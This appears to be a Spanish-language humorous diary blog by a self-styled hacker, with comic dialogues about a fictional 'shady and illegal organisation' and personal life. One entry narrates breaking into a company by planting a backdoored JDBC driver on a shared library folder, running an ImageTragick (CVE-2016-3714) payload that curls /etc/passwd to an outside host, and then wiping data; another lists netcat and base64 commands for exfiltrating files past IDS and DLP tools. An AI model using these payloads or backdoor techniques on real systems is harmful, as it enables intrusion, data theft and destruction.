Miércoles, 28 de Noviembre de 2018: Como Chuck Norris

Querido Diario…

Creo que si en este momento alguien hiciese un análisis de laboratorio a mi pipí, el resultado sería que es 99.99% Red Bull. Han sido días muy atareados, en donde he concluido una regla fundamental.

“Jamás negocies la venta de un alma, en un idioma que no hablas perfectamente. ¡Menos si es tu propia alma la que estas vendiendo!”.

 

Querido Diario…

Tengo unas ganas locas de unos chinchulines:

Lunes, 12 de Noviembre de 2018: Primer propósito de 2019

Querido Diario…

Llegué a las instalaciones de la H. Organización Turbia e Ilegal, deje mis cosas en el primer sitio que pude y pasé a saludar.

- ¡Joven!, que bueno que vienes, te queremos matar... ahorita te tenemos varias cosas anotadas - me dijo Lalo
- Ouuuu
- ¿Ouuuu? - miró un poco confundido de mi respuesta
- Ajá
- ¿No te vas a defender?
- Ahhh si... no me maten, por favor
- Hum... Joven, ¿estas bien?
- Un poco zombie
- ¿Por?
- Pues, básicamente por no saber inglés.. cometí un error, firme, acepté un pago y ahora tengo problemas para cumplir
- Ahhhh... suena muy a ti
- Prometo que en 2019, al fin aprenderé inglés
- Pero, ¿no necesitar terminar en 14 días?
- Si
- ¿Y?
- Joven, no puedo hacer tantas cosas al mismo tiempo... creo que me está dando un soponcio

Querido Diario… estoy entendiendo este vídeo:

Los Red Bull’s no me alcanzan, la Señora Esthela me ha servido hoy al menos 3 litros de café… y nada… las estrellas no están en posición.

Jueves, 8 de Noviembre de 2018: Seguiré mis sueños e ilusiones

Querido Diario…

H0y fuimos a comer para despedirnos, si los países se encuentran en posición, las estrellas se alinean y los sacrificios son escuchados; tal vez hoy fue su último día en Mexicali… en México.

- ¿Y ahora qué será de ti?, te va a parar la policía, vas a chocar, te van a mal influenciar... - dijo de forma bastante seria
- Si... de hecho, necesito una conciencia; tal vez tome una nueva. Hum... hum... hum... bueno ya pensaré en alguna. ¿Sabes?, he estado pensando
- ¿En qué? - dijo mientras le tomaba una foto a la comida y la enviaba a sus inquisidores por mensaje
- Creo que debo de hacerte caso... es el momento de cambiar, de aprovechar lo que el poderoso Quetzalcoatl me ofrece, es el momento de seguir mis sueños. - justo en ese momento recordé a Lalo y Lalo2

- ¿Ah si?, ¿qué vas a ser?, ¿dejarás la vida turbia e ilegal o regresarás a tener un empleo normal? - me miró aun escribiendo por el celular, sin imaginar lo que venía por respuesta.
- Si... me jubilo, adios la vida turbia e ilegal; voy a ir la próxima semana a despedir. Es el fin, se acabó... no más... es tiempo de tener una vida normal - se le abrieron los ojos, dejó de escribir... por suerte, no tenía té en la boca o lo hubiese escupido.

- No te creo - se rió - no, no... me intentas, ¿cómo dices?, ¿chamaquear?
- No, lo digo en serio... es tiempo de mirar al futuro, de hacer cambios, cambios importantes. 
- ¿Qué harás?, ¿por qué ahora?... noooo.. quiero enterarme - empezó a creerlo
- Es una sorpresa, lo tengo que anunciar en grande, frente a todos; además... aunque se que me van a matar, tengo que mostrar mi agradecimiento a toda la H. Organización Turbia e Ilegal... los llevaré - me puse melancólico - siempre en mi corazón
- Pero, ¿qué harás?, ¿de qué vivirás?
- Ouuu... ya verás, tengo tantas opciones... más o menos me ofrecen un empleo por día.. creo que... tengo de donde elegir.

- Decenas... no... tal vez cientos de personas, entraran en shock con el anuncio que haré; y ya sé en donde lo hará... en el próximo NoTrustSex.. digo Sec: https://www.meetup.com/es/NoTrustSec/events/256251030/ ... hum... lástima, estarás al otro lado del mundo para enterarte
- Grrrr...

Querido Diario… va a ser un notición… ¿qué será lo que tengo que decir?, bueno… hay que esperar una semana para saberlo… les espero en el NoTrustSec de la Ciudad de México, en donde contaré algo, que volverá loca a la gente 😛

Querido Diario…

Chan, chan, charán…

Miércoles, 31 de Octubre de 2018: La sequía

Querido Diario… eran las 6am, cuando recibí la llamada de Lalo Landa, alías Tiburoncín.

- Bueno.. - diablos, ¿por qué no llamó más tarde?, si ahorita sólo nos separa una hora.
- ¡Joven!
- ¿Qué pasó?
- ¿A cuanto haciende tu fortuna?
- ¿Cual fortuna?
- Pues la marmaja, la morraya, ¿cuantos melones tienes en el banco?
- Hum... tengo una calabaza en la ofrenda
- No joven, tus fondos. ¿Cuando dinero tienes en el banco?
- Ouuu...

- ¿Pesos?
- Dólares, nada más que mi aplicación no conoce otra cosa que pesos
- ¿Pues que has estado haciendo joven? - -_-U como si no supiese
- Lo de siempre joven, mujeres, sexo, drogas, alcohol, rock 'n roll
- ¿Y en efectivo tienes algo? - busqué mi cartera para ver
- Hum... ouuuu $20 dlls, fiuuuu... no sabía de este billetito, hoy si hay para comer joven
- Demonios, joven... tenemos un problema
- Define problema
- Estábamos peinando la zona. y de pronto pues zas... - ajá, ajá.. asentí - y luego que llegan, y pues nosotros la neta, no nos dejamos y zas... - ajá, ajá... suena mal - y pues que se arma joven, y pues valió ver%&/( al final
- ¿Qué de todo?, ¿ellos o nosotros?
- Pues todos
- Ahhh... ya veo... bueno, unas veces se gana y otras veces se pierde, así es la vida joven, ¿qué se le va a hacer?
- No me estas entendiendo, ¿verdad?
- Ni media palabra
- A ver - dijo ya muy serio - en resumen, necesitamos $3 millones de pesos para sacar a MiniKrusty de la cárcel
- ¿MiniKrusty?, ¿Minikrusty?
- MiniKrusty, prestador de servicios, ese que nos debe el pulque
- ¿Cuanto tiempo tenemos?
- Son las 7am... dicen a las 9am llega el acturario, si no meto el amparo a esa hora, lo tenemos que ir a sacar al reclusorio
- Ouuuuu
- Bueno joven, voy a desayunar, me avisas cuando hagas el depósito - y colgó

Diablos…

Querido Diario… usualmente cuando uno se mete en problemas, actúa de forma responsable y busca una solución a ellos, de forma responsable. Mi teléfono volvió a sonar.. debo de cambiar el tono, a algo más como El Padrino

- H. Lugarteniente - me marcó Chucho
- ¿Qué tragedia tragica invade a esta tragica H. Organización Turbia e Ilegal? - esperaba otra noticia mala
- Ninguna, te iba a preguntar si, si vamos a ir al partido
- Ahhh si - respondí con desgano
- ¿Qué pasa ahora?
- Necesitamos $3 millones para sacar a MiniKrusty de la cárcel
- ¿Por?, ¿qué le pasó?
- Andaban peinando la zona
- ¿Qué es eso?
- No sé, no tengo idea, pero se me vienen a la mente muchas ideas pervertidas, así que preferí no preguntar
- ¿Y cuanto tenemos?
- Hum... poco, pero ya sé que vamos a hacer

- Reune a los nuevos, vamos a darles su novatada. Estas a cargo muchacho, eres la esperanza de ese chamaco provinciano
- No se diga más

Todo parecía bien.. pasaron las horas, y espere a que todo se resolviera mágicamente, hasta que….

Recibí una llamada de Chucho por la tarde

- ¿Cómo van los números?, ¿ya están vendiendo el agua?
- Este.. creo que hay que decirle a Señorita RH que contrate otros nuevos
- ¿Por?
- Le falle H. Lugarteniente, perdí a todos
- ¿Y ahora?
- Pues sumado a lo que necesitabamos, con lo que ahora necesitamos... necesitamos unos $5 millones para sacar a todos, y un ojo de vidrio para Lalo3
- ¿3?
- Si, tenemos un nuevo Lalo
- Ouu.. Chucho, Plan B
- ¿Cual es el Plan B?

Querido Diario… hoy no es  mi día.

Jueves, 18 de Octubre de 2018: Perdiendo al electorado

Querido Diario…

Su rubia cabellera caía sobre mi, sintiendo el fresc… ring, ring…. el celular me despertó, como pude; entre la oscuridad respondí

- Bueno
- Joven - Lalo Candia
- Joven, me acabas de despertar en el peor momento.. justo cuando ya tenía a Belinda a punto de turrón y ... 
- ¿Eh?
- Olvidalo
- Joven, necesitas salir más seguido de la cama, estas un poco mal
- ¿Qué pasó?
- Espera, pon la webcam, tengo algo que mostrarte - me incorporé un poco y encendí la cámara en el Facetime - ¡Joven!,¿qué tienes en la cara?
- Ahhh una mascarilla humectante - dije, esperando que me dijera porque me había despertado
- ¿Por qué usas una mascarilla humectante?
- ¿Para humectarme?
- ¿Por qué querrías humectarte?
- ¿Por qué vivo en un desierto?
- Joven... definitivamente acabas de perder mi voto. Esta H. Organización Turbia e Ilegal tiene valores, y no los estas representando - y me colgó

Que extraño muchacho, ni siquiera me dijo que quería… entonces, paso lo más importante en el día.

Así es… escribiré un libro… algo así.

Querido Diario…

Acabo de descubrir que en Mexicali no venden curry 🙁

Y pues…


Hum…

Llevo 4 horas desde la comida y nadie a muerto… u.u aunque coff. coff..

Me siento ofendido… u.u

Martes, 16 de Octubre de 2018: Un criminal solitario

Querido Diario…

Iba tranquilamente manejando sobre Av. Justo Sierra, yendo hacia Baires para comer, cuando de pronto me llegó un mensaje.

Llevaba tiempo que no teníamos una misión, así que inmediatamente me coordine con el equipo para avanzar, lo más pronto posible. Marqué a la persona de mayor confianza.

- Bueno
- ¡Joven!
- ¿Qué cuenta joven?
- Pues nada, aquí con un encarguito
- ¿Qué clase de encarguito? - le cambió el tono de voz, a uno más serio
- Mom me pidió ir a dar unos tehuacanazos
- ¡Huuuuy joven!, creo que eso no se va a poder... pero dame una semana y lo vemos - y me colgó

Hum.. diablos, el elemento más turbio y confiable de esta H. Organización Turbia e Ilegal no estaba disponible; pero al menos espero me traiga un recuerdito. Entonces, le marqué a la segunda opción.

- Bueno - se escuchaba una voz grave y cansada, como de alguien que lleva varios días sin dormir
- ¡Joven!
- ¿Qué pasó?
- ¿Qué haces? - dije yo, intentando ocultar el verdadero motivo de mi llamada
- Viendo el partido
- ¿Cual partido?
- Pues el partido
- Hum.. pero ¿partido de que o qué?
- Hum... ¿de futbol? - algo me decía que no me estaba diciendo la verdad
- ¿En lunes?
- ¿No hay partido los lunes?
- Creo que no
- Ouuuu... - lo había atrapado
- Estas cuidando de la bebé, ¿cierto?
- Si joven, llevó una semana sin dormir y mis tarjetas están en negativo - dijo casi llorando
- Hum... joven, algo me dice que esto no va a funcionar. Básicamente ya no puedo mandarte a ninguna misión turbia e ilegal, me sentiría mal si esa niña se queda huérfana
- ¿Hay una misión turbia e ilegal?, ¿hay bono extra?
- Joven - me pusé serio
- ¿Si?
- Nos vemos en 18 años, joven
- Demonios... mi carrera criminal ha durado poco - y le colgué

Bueno, siempre hay una tercera opción

- Bueno
- ¿Qué tranza? - me respondió con ese barrio iztapalapense que brinda confianza en este tipo de escenarios
- ¡Janey!, ¿qué estas haciendo?
- Noviando con El Chino
- Ouu... 
- ¿Necesitabas algo?
- Pozolear a un criminal
- ¿No podemos esperar para mañana? - me dijo, plenamente interesada
- No
- Ouuu.. marcarle a Lalito
- No puede
- ¿Al Becario?
- Tampoco
- Hum... seguro tú podrás resolverlo, siempre puedes. Nos vemos Belindo - y me colgó

Hum… este equipo no está resultando. Así que miré a Shellcode, me miro, nos miramos.. y determiné que yo mismo haría la misión turbia e ilegal, al final, por eso soy el lugarteniente de esta H. Organización Turbia e Ilegal, yo podía hacerlo sólo. Y me puse a trabajar en ello.

Ouu… bueno, tal vez mi única compañera no me acompañaría en la misión.

Me senté frente a la computadora, la miré fijamente… y me di cuenta que no tenía la menor idea de que hacer; así que me di cuenta que en realidad ya estoy muy viejo, y sin equipo no soy nada. Lo único que se me ocurrió es utilizar las únicas técnicas que conozco: chamaquear a alguien.

Por suerte me di cuenta de alguien que trabajaba en ese sitio y que me iba a ser de utilidad.

- ¿Y qué haces allí?
- Ahhh pues... no mucho, me encargo como de todo - eso pasa cuando se es la sobrina del dueño - ¿y tú que haces?
- Nada, aquí aburrido... vamos a comer
- Ok, pero me esperas a que terminé unas cosas
- Si, claro... salgo para allá y de allí nos vamos

Llegué a su oficina y rápidamente empecé a explorar la red. No es una empresa muy grande, así que me encontré ShareEnum que tenían directorios compartidos para varías cosas, incluyendo un “repositorio” de librerías de los programadores. Vi que hacían uso de aplicaciones en Java y las conectaban a los servidores de bases de datos haciendo uso de JDBC, así que, basándome en un paper de un researcher llamado Airman, modifiqué los el driver así:

import java.sql.*;

public class JDBCBackdoorTest {
public static void main(String[] argsStrings){
try{
Connection conn = DriverManager.getConnection("jdbc:blah://bigshot.beer:31337/");
} catch(Exception e) {
e.printStackTrace();
}
}
}

Listo, lo dejé allí y me fui a comer con Priscilla.

Más tarde al llegar a casa me di cuenta que al menos tres desarrolladores habían utilizado el driver para conectarse. Me puse los audífonos y puse la play list especial de hackeo: https://open.spotify.com/playlist/0EfZGNw0JHvoCkNfnMDYAU

¿Qué es lo que hace el driver?, bueno… simplemente ejecuta comandos en la consola, con eso obtuve acceso remoto a la red de la súper empresa segura. Mom no quería más que destruir todo, así que…

Sólo antes de borrar todo y colapsar a todos, quería probar el CVE-2016-3714:

push graphic-context 
viewbox 0 0 640 480 
fill 'url(localhost"|curl "`curl MyHost/i/?imagewarn --data @/etc/passwd`)' 
pop graphic-context

Y…

Ya después de que deje de jugar, entonces si, borré todo…

Querido Diario…

Regresé a casa y me puse a trabajar en el primer assessment que me asignaron, a pesar de que mi profile está pensado para aplicaciones, me dieron un network security assessment 😛 no saqué nada… así que, necesitaba un poco de despejar la mente para poder seguir trabajando.

- ¿Cómo te fue? - me preguntó mientras me pasaba una tarta de pistache y ella se quedaba con la de chocolate; de las que venden en Raphael; frente al Carl's Jr
- Bien, cansado... pero creo que bien; se ven esperanzas
- ¿Qué es eso de [...]? - me preguntó, yo le había comentado en al semana que estaba muy emocionado por eso
- Es un programa privado de bug bounty.... lo de las recompensas
- Te notas muy feliz por eso
- Si - dije pensando - me gusta mucho, me hace sentir que aun sirvo para algo
- ¿No extrañas trabajar en eso?
- Si, moriría de ganas de poder hacerlo nuevamente
- ¿Y luego? - mi miró con esa mirada que tiene de "hazlo"
- Hum... mejor retirarse en la cima - evadí la pregunta
- ¿Qué sientes? - me preguntó. Perfectamente sabía a que se refería
- Duele
- ¿Qué tanto?
- Mucho... duele el pecho, duele todo... es como algo que presiona; duele no poder dar un beso, duelen los brazos al no poder abrazarle... duele no poder siquiera escuchar su risa o su voz
- Hum... 
- Hey, basta.. cuéntame... ¿cómo te fue hoy?

- Hum... mejor no, ¿tienes prisa?, ¿vamos al cine?. Vamos a ver Venom, aunque no te gusten las películas de súper héroes
- Vale,... ¡vamos!, pero pediremos nachos; con muchos jalapeños y Pepsi, porque la Coca-cola, yiuck...

Nunca entenderé porque a la gente le gustan las películas de súper héroes; me parecen muy aburridas y predecibles.

- ¿Cual es tu película favorita? - me preguntó mientras íbamos de regreso al coche
- Moulin Rouge - dije
- ¿Por qué?
- Hum... no lo sé; me gusta la historia. Un tiempo le vi tanto que hasta los diálogos me aprendí

- Eres raro - dijo de pronto
- Hum... no sé como tomar eso - le respondí arremendandole
- Nos vemos terrorista cibernético; intenta dormir
- Trataré...

Me quedé fuera de la casa, en un columpió, viendo como Shellcode se peleaba con la manguera del agua… y pensando en lo que tanto me repitieron la semana pasada. Pensé y pensé… y al final recordé que… lo mejor es no planear, sino sólo actuar. Y entonces, lo decidí… lo voy a hacer.

 

Lunes, 8 de Octubre de 2018: El día D

Querido Diario…

Estaba tranquilamente disfrutando de un café…

Cuando recibí una llamada de Lalo

- Bueno
- ¡Joven, tenemos un problema!
- ¡Joven Candia!, ¿qué cuentas? - le dije muy animado al escucharle después de tanto tiempo
- Pues me está lloviendo plomo joven, el pin$%&/( se pasó de ver$%&/( y no llegó - se leía muy agitado
- Ouuuu tengo una buena y una mala - diablos, se me había pasado avisarle
- ¿Cual es la mala?
- Pues mira...

- ¡Ese es mi muchacho! - gritó con júbilo, mientras escuche como una ráfaga de disparos se escuchaban sobre su cabeza
- Así es jovenazo, hoy va a nacer nacer la niña que, a muy temprana edad, se quedará huérfana por mi culpa
- Oiga joven
- ¿Si?
- Pero esos mensajes son de la mañana; son las pin$%&/( 7pm... ¿no sé te hace como que me pudiste avisar con tiempo?
- Ouuuu.. pues, pues... pero te tengo una buena
- A ver, ¿cual es la buena?
- Mira...

- ¡Demonios!, estas aquí - su tono de decepción me partió el corazón
- Ajá
- Eso no es ninguna buena joven, ¿por qué viniste?, ¿a quién hay que pozolear?, ¿ahora a quién hizo enojar Mom?, demonios... deja le marco a Tania para decirle que se olvide de las vacaciones, que ese dinero va a tener que gastarlo en mi entierro
- Nah... relaaaaaajate, no vine a nada malo. Y no te preocupes, ahorita te voy a  ayudar
- Hum... bueno, apura; esto se esta poniendo algo feo

Ese muchacho, que dramático es. Mientras hablaba con él no me había percatado que el mesero estaba a mi lado esperando, pero con tanta urgencia, lo había ignorado por completo.

- Caballero, ¿gusta que le vaya trayendo la cuenta?, escuche que tiene mucha prisa.
- Hum... no, quiero una de estas tartas de higo por favor; se ve deliciosa, y otro café, si es tan amable
- Si, señor.

Ahhh… venir a la ciudad, es muy cansado trabajar tanto.

Y más ahora que nos hemos quedado son pozolero, Lalo 2 alias el Becario que no es becario, se ha vuelto Lalo 2 alias el Becario Papá

Querido Diario… hay personas que son muy estrictas en su organización, que llevan agendas, o ponen postits en su calendario, o anotan todo en una libreta; pero jamás, jamás había escuchado de alguien que usase una aplicación para organizar las series que ve.

 

Viernes, 7 de Septiembre de 2018: Copypasteishon

Querido Diario…

Siempre mover archivos dentro de una red es un poco truculento; y ahora con los IDS’s o las herramientas de DPL, puede ser un martirio más grande. Desde montar compartidos que puedan ser leídos desde donde sea, usar el administrador de conexión de DRP que no sé porque ese si deja, pero una conexión de terminal service normal no, y como siempre, el confiable netcat.

Con netcat podemos mover archivos con gran facilidad, con un sólo comando; aunque los IDS’s comúnmente lo detectarán.

Algunos movimientos simples que pueden servirte, no sé… por ejemplo cuando estas echo bolita dentro de un parlamento extranjero, con ganas de secuestrar a la ministra de economía; o meterlo un tiro al primer ministro… pueden ser estos:

Exfiltraciones:

nc -l -p 12345 > "archivo"

nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "archivo"

Descargas:

nc -l -p 12345 < "archivo"

base64 "archivo" | nc -l -p 12345

Querido Diario, no me gusta el escocés..